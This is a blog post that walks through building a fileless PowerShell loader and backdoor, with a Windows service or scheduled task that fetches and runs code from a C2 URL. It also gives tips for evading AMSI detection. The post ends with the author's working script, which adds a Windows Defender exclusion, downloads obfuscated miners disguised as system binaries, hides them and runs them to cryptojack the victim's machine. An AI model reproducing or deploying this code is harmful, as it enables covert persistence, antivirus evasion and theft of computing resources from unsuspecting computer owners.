alcinzal

Cybersecurity Enthusiast

Fileless PowerShell Loader

2026-02-06

In this post I am going to talk about how you can use Windows Services or Task Scheduler (depends on your use case) to create a fileless PowerShell loader. I first found out this was possible through the r77-rootkit project by bytecode77, where a similar fileless approach was used. Though the command itself that I've ended up using comes from how massgravel recommends you run his Microsoft-Activation-Scripts scripts.

Since PowerShell is being used here, this would make it a LOL/LOTL (Living Off The Land) attack, which means that we are using a legitimate tool/program already present on the computer to do something malicious. That is why this loader works so well, in comparison to dropping an actual sophisticated loader/RAT/miner or anything else, there is no file to detect/remove, and it is so overly simple, yet incredibly powerful. Even if the PowerShell script that is executed drops a file to disk, and that file gets removed, you still have access through this PowerShell loader/backdoor.

Summary

Since this post turned out quite long, I thought I could first quickly summarize how I use this PowerShell loader.

I create a Windows Service with this as the bin/image path: cmd.exe /c powershell.exe irm https://alcinzal.com/script ^| iex. This will get executed every time the computer boots up, it runs PowerShell and executes the PowerShell script found at https://alcinzal.com/script. This script can be whatever I want, anything that PowerShell allows for, which is virtually everything. In practice the URL is different though, pointing to my actual C2 domain, but the concept stays the same. My real script does nothing fancy at the moment, no AMSI bypass, just adds exclusions to Windows Defender through registry, downloads some files, and runs these files with arguments. I will share this script at the end of the post.

PowerShell

I am going to assume most of you already know at least a little bit about PowerShell, but if you don't, I will attempt to explain it to you. PowerShell is a shell program developed by Microsoft that allows you to run commands, run scripts, automate tasks and configure various parts of your system. It exists on virtually every Windows computer (Windows 7 and every version after it has PowerShell installed by default).

To open PowerShell you can right-click the Windows menu at the bottom left, and click on "Windows PowerShell", now you should have a blue shell/terminal window in front of you. If you have never used PowerShell before, try to run the following simple command: Get-Date, this will get and print the date and time. There are countless of commands like this one that can be used for all sorts of stuff, like creating files, downloading files, editing the registry, turning off the computer, etc. You can combine multiple of these commands by putting them inside a PowerShell script file (.ps1 being the file extension) and run it to execute all the commands in order. That is kind of how this PowerShell loader works, except the script is not a file but rather raw text from a website URL.

The command

Now we'll take a look at the PowerShell command we will be using for this loader, don't execute it yet though, let's first go through what it does. For reference, here it is: irm https://alcinzal.com/script | iex.

If you go ahead and visit https://alcinzal.com/script you can see the example script that we will be using for this post, however in practice this URL would point to your own script, hosted on your own website (you could also host this on GitHub or Pastebin, but that's slightly more risky, since you could lose access). This sample script simply creates a file and opens a message box, but it can really be whatever you want. You might notice that there is no file extension in this URL, some of you might've expected it to be "script.ps1", but that is actually not required. It still works if it is ".ps1", but it can also be ".txt" or even without any extension, the only requirement is that the response content-type is set to "text/plain". With ".ps1" and ".txt" I believe that is the default, so you don't need to think too much about it, just as long as you can see the script as raw text in your browser.

If you look at the command, you can see it starts with irm, this is an alias for the command Invoke-RestMethod. It being an alias means it is a shorthand or alternative name for the command, so both of these do the same thing. Invoke-RestMethod is a command that makes a HTTP request to the given URL and returns the response (it also automatically converts JSON, XML and other formats to PowerShell objects so you can easily work with them, but in this case that's not too important). Try running Invoke-RestMethod https://alcinzal.com/script or irm https://alcinzal.com/script in a PowerShell terminal, you'll see that the output you get is just the script from that URL.

The command then continues with | iex, where iex is also an alias, this time for the command Invoke-Expression. This command will take a string of text and execute it as PowerShell code. You can try running Invoke-Expression "Get-Date" or iex "Get-Date" and you'll see that it executes the Get-Date command just as we did earlier. The | is a pipe, this means that it takes the output from the previous command and uses it as input for the next command, which in this case is iex. This also means that iex (irm https://alcinzal.com/script) would work the exact same way, so you can achieve the same results without using |. The only reason I chose to do with piping is because I came across that version first and just stuck with it, no specific reason really.

So to summarize:

  1. irm gets the script from https://alcinzal.com/script.
  2. | pipes this script to iex.
  3. iex executes the script.

Now that you hopefully understand what the command does, you can try running the full command: irm https://alcinzal.com/script | iex. You might have to run PowerShell as administrator, you can do that by running it as you ran it before, but selecting "Windows PowerShell (Admin)" instead. A file should be created at "C:\example.txt" and a message box should open, I will get into later why I've chosen the script to do these 2 things. It is of course recommended to always delete the file at "C:\example.txt" to make sure that the command works when testing it and the file reappears.

Sessions

Before we talk about how to run this command using Windows Services or Task Scheduler, you should understand a little bit about sessions.

Windows has something called sessions, this is to isolate and separate certain areas of the operating system from interacting with each other. Session 0 is a non-interactive session reserved for services and system processes. Session 1 and higher are interactive user sessions, where these sessions will isolate desktop, windows, environment variables, clipboard, etc. If you are the first person to log in to your computer, it is safe to assume that you exist in session 1.

The 2 most important things to know about sessions are:

  1. Sessions can't interact with each other. If a process exists in session 0, it can't display an interface in session 1. There are ways around this though, we will look into that later.
  2. SYSTEM processes are usually in session 0. There are a few exceptions, but that's not important as of right now.

Windows Services are always in session 0, this means that if you start something like a RAT from Windows Services, it won't be able to properly interact with session 1 (where the user exists). You can't view their screen, can't control their mouse/keyboard, can't know if they are AFK or not, can't see their active window, etc. However it is possible to do stuff like edit registry, view files, get cookies/passwords from browsers, etc.

This is why I chose a file at "C:\example.txt" to be created and for a message box to appear, so you can get a better understanding of what these sessions mean. The file, with the right privileges, should always be created, but the message box only appears if the process is executed in our current session.

Unlike Windows Services, Task Scheduler gives you the ability to start an elevated process in the current user session, we'll take a look at that now.

Task Scheduler

Task Scheduler is exactly what it sounds like, you can use it to schedule tasks like having a certain program/command run at certain conditions (logon, startup, specific time, specific date, etc). There are multiple ways of creating a scheduled task, like using schtasks.exe or the Register-ScheduledTask command, but for now we will keep it simple and just use the UI.

Do a Windows search for "Task Scheduler", open it, click "Create Basic Task" on the right, choose a name, trigger should be "When I log on", action should be "Start a program", program should be powershell.exe and arguments should be irm https://alcinzal.com/script | iex. Once created you can now right-click the task and run it, a message box should appear, however the file at "C:\example.txt" will not get created, this is because this task does not start the process elevated. To fix this right-click the task -> properties -> make sure "Run with highest privileges" is ticked. Now try running it again, the file should be created together with the message box opening. However another problem is that we can see the PowerShell window, which preferably should be hidden. To avoid this we can edit the task to run PowerShell through conhost.exe --headless instead of directly. Right-click the task again -> properties -> actions -> edit -> program should be conhost.exe and arguments should be --headless powershell.exe irm https://alcinzal.com/script | iex. Now if you run it there won't be any PowerShell window, the file will be created and the message box will display (though it might be in the background, check your taskbar). You can now try rebooting your computer, and make sure that the task actually starts when you log in.

If your goal with this PowerShell loader is to execute a program that requires some interaction with the user, like a RAT as we talked about above, then this solution might be the best one for you, since the process spawns in the same session as the user. Though you are going to have to try and figure out how to create this scheduled task from your payload/stub, best practice is probably to use Windows API functions like ITaskService, ITaskFolder, ITaskDefinition and IRegisteredTask. Should also note that scheduled tasks by default have some settings enabled like "Start the task only if the computer is on AC power", so if you do pick this route, just make sure your task ends up having the proper settings.

If you make the task run as SYSTEM it will spawn in session 0, and if that's what you want, it is better to just use Windows Services instead of Task Scheduler.

Windows Services

Windows Services are also exactly what they sound like, services/programs running in the background, usually managing essential stuff that don't require user interaction like network connectivity, system security, hardware management, etc.

If you do a Windows search for "Windows Services" and run it you can see a list of all the services on your computer, though unlike Task Scheduler, you can't actually create any new services or delete existing ones as easily. For that you can either use PowerShell commands like New-Service and Remove-Service, or the executable we will be using: sc.exe.

With PowerShell ran as administrator, execute the following command: sc.exe create ServiceExample start=auto binPath="cmd.exe /c powershell.exe irm https://alcinzal.com/script ^| iex". Then in Windows Services, click F5 to refresh the list, and try to find the ServiceExample service you just created. Once found, right-click -> Run. You will get an error message saying something like "The service did not respond", but you don't need to worry about that. The service did start properly, however services are usually supposed to respond back to Windows Services about whether it ran properly, if it is currently running, etc. You can verify this as before, making sure that the "C:\example.txt" file got created. However the message box will not appear, as we mentioned earlier, Windows Services will always run in session 0.

You might've noticed 2 differences with the command/path we are using here (you can read more about it at this GitHub issue I opened):

To delete the service you run the following command: sc.exe delete ServiceExample, but for it to update at Windows Services you sometimes have to close the window and reopen it.

If you are testing various image/bin paths to use here, instead of deleting and recreating the service, it is much more efficient to find it in registry and edit it from there. Find it at HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\ and look at the ImagePath.

The script

Now for what the script actually can do, good practices, and what to avoid.

The script itself can really be whatever you want, you can add Windows Defender Exclusions (I edit group policy in registry, as explained in this GitHub issue), you can download files, you can run these files, you can even run executables fully in memory, there really isn't a limit.

Something you have to look out for though is AMSI, sometimes AMSI can block your script by detecting signatures. This means that if your script contains something flagged, it will not run. It is usually pretty easy to get past this though, as it just compares your script to a list of flagged matches, so small changes will get you past it. To find what part is flagged, just remove certain parts of the script and rerun in PowerShell and check when AMSI stops blocking it. An example I have for getting past signature checks would be when I discovered this part of a command I was using got flagged: .SetValue($null,$true), I then just asked an AI chatbot what other ways can I write $null and it gave me [System.Management.Automation.Language.NullString]::Value, so after replacing it with that, the command worked fine. Another example could be when I tried using an AMSI bypass, and I noticed the bytes used were flagged: (0xB8, 0x57, 0x00, 0x07, 0x80, 0xC3), so I quite simply just changed it to this: (0x80+0x38, 0x57, 0x00, 0x07, 0x80, 0xC3). Only difference is that I split the first byte into 2 separate bytes, that when added together would end up being the same as what the first byte initially was. No need for overcomplication.

Things to keep in mind:

Example script

Here is a super simple script that does the following:

  1. Adds "C:\ProgramData" as an exclusion to Windows Defender.
  2. Downloads a file from "https://example.com/program.exe" and puts it at "C:\ProgramData\program.exe".
  3. Runs this program.
reg add "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths" /f /reg:64
reg add "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths" /v "C:\ProgramData" /d 0 /f /reg:64

$filePath = "C:\ProgramData\program.exe"
$url = "https://example.com/program.exe"
Invoke-WebRequest -Uri $url -OutFile $filePath
& $filePath

If the program requires arguments, like xmrig.exe or ethminer.exe, you would change the last line to something like this:

& $filePath --algo=rx/0 --url=zeph.2miners.com:2222 --user=ZEPHYR-ADDRESS.worker --cpu-max-threads-hint=0 --cinit-idle-wait=5 --cinit-idle-cpu=100

This will start mining Zephyr to 2miners.com using xmrig.exe (though I have to note that --cinit-idle-wait=5 and --cinit-idle-cpu=100 are custom parameters only in Unam's modified version).

My script

This is the script I use, though there are a few things I should explain:

reg add "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths" /f /reg:64
reg add "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths" /v "C:\ProgramData" /d 0 /f /reg:64

$filePath1 = "C:\ProgramData\fontdrvhost.exe"
$expectedHash1 = "6DC4800983F992A3D12457086485E2664F678A7FE0CA78DE36A059C84A7D571E"
$url1 = "https://%DOMAIN%/download/x%DOWNLOAD%"

if (!(Test-Path $filePath1) -or ((Get-FileHash $filePath1 -Algorithm SHA256).Hash -ne $expectedHash1)) {
    Remove-Item -Path $filePath1 -Force

    $bytes = (Invoke-WebRequest -Uri $url1 -UseBasicParsing).Content
    $decoded = for ($i = 0; $i -lt $bytes.Length; $i++) {
        (($bytes[$i] - ($i + 1)) % 256 + 256) % 256
    }
    [System.IO.File]::WriteAllBytes($filePath1, [byte[]]$decoded)

    (Get-Item $filePath1).Attributes = 'ReadOnly, Hidden, System'
}

& $filePath1 --algo=rx/0 --url=solo-zeph.2miners.com:4444 --user=ZEPHYR-ADDRESS.%ID% --cpu-max-threads-hint=0 --cinit-idle-wait=5 --cinit-idle-cpu=100

$filePath2 = "C:\ProgramData\RuntimeBroker.exe"
$expectedHash2 = "0919AB0B8541864B10BE5C2EC6F4039DB59322E8B79E130FE58C42B646E73BBA"
$url2 = "https://%DOMAIN%/download/e%DOWNLOAD%"

if (!(Test-Path $filePath2) -or ((Get-FileHash $filePath2 -Algorithm SHA256).Hash -ne $expectedHash2)) {
    Remove-Item -Path $filePath2 -Force

    $bytes = (Invoke-WebRequest -Uri $url2 -UseBasicParsing).Content
    $decoded = for ($i = 0; $i -lt $bytes.Length; $i++) {
        (($bytes[$i] - ($i + 1)) % 256 + 256) % 256
    }
    [System.IO.File]::WriteAllBytes($filePath2, [byte[]]$decoded)

    (Get-Item $filePath2).Attributes = 'ReadOnly, Hidden, System'
}

& $filePath2 --cinit-algo=kawpow --pool=stratum://BITCOIN-ADDRESS.%ID%@solo-rvn.2miners.com:7070 --cinit-max-gpu=100

So to explain what it does:

  1. Windows Defender exclusions are added for "C:\ProgramData".
  2. xmrig.exe
    1. Checks if it exists and if hash matches.
    2. If not, downloads, decodes and is placed at "C:\ProgramData\fontdrvhost.exe".
    3. These attributes are added to the file: "ReadOnly, Hidden, System".
    4. It is then ran with arguments that tell it to mine Zephyr solo at 2miners, only when the user has been idle for more than 5 minutes.
  3. ethminer.exe
    1. Checks if it exists and if hash matches.
    2. If not, downloads, decodes and is placed at "C:\ProgramData\RuntimeBroker.exe".
    3. These attributes are added to the file: "ReadOnly, Hidden, System".
    4. It is then ran with arguments that tell it to mine Ravencoin solo at 2miners, at 100% at all times (2miners support mining Ravencoin directly to a Bitcoin address).

You might be wondering though, since I am running the miner from PowerShell from Windows Services, which means the miner exists in session 0, how does it know when the user is active or not? That is a great question, I honestly am not sure. I guess UnamSanctam must have added a feature in the miner that manages to get the current active session, and check the last user input from it.

Extra tips

Next post

For my next post we will look into how we can use DLL sideloading with .NET to create a Windows Service that runs this Fileless PowerShell Loader on every startup.